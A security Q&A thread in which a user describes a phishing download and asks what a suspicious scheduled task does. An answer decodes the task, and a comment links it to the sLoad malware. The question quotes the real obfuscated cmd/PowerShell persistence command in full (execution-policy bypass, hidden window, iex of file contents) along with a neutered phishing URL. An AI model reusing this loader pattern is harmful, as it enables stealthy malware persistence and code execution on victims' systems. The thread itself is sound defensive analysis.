3

on a computer I received an email with a web link inside that shows the following address:

hxxps://myprimeedu.com/certificato/f0uq1-17relk-aW5mb2NlcmJvbmVhbGx1bWluaW9AcGVjLml0-y8ym71-wowuq-2rpvmx/MDY0OTE3NzQ2MDIzMDM=

(EDIT: Link neutered)

From this address (with the Chrome browser) a .zip file is downloaded which contains two files inside: a pdf file and an exe file that creates a Scheduled Task.

The antivirus (Bitdefender) has not identified any threats. With a subsequent analysis using VirusTotal the .zip file has been identified as "Trojan, Suspicious link or Link Drop" from only 7 AV engines.

The individual files, on the other hand, are not detected by any engine (but there is one detection from the community).

The user has clicked on the PDF file that has created a scheduled task.

The scheduled Task created has this format:

C:\Windows\system32\cmd.exe /c pow%tmp:~5,3%hell /ep bypass /win 1 /c "&{cd %public:~-15,9%;$y=ls -force -r -in comu*.*|select -last 1;$y=gc -LiteralPath $y|select -last 1;iex $y}"

The task is programmed to run every 2 minutes. What is shown, on this computer, is a quick and empty pop up of the command prompt window.

I can't understand the intent of this Scheduled Task.

Can you help me to figure out?

How can I detect the type of compromise I had on this computer?

Thanks in advance.

4

I think that's using PowerShell to look for files matching comu*.* and run the contents using PowerShell.

It runs cmd /c to call Powershell. It spells out PowerShell because %tmp:~5,3% translates to ers (since %TMP% is typically C:\Users\<username>...).

cd %public:~-15,9% goes to the Users directory.

ls -force -r -in comu*.*|select -last 1 finds the file.

gc -LiteralPath $y|select -last 1 gets the contents of that file.

iex $y executes the saved contents.

  • 2
    From the first analysis it looks like a variant of the sLoad malware. – Jeronimo Jul 23 at 17:11

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.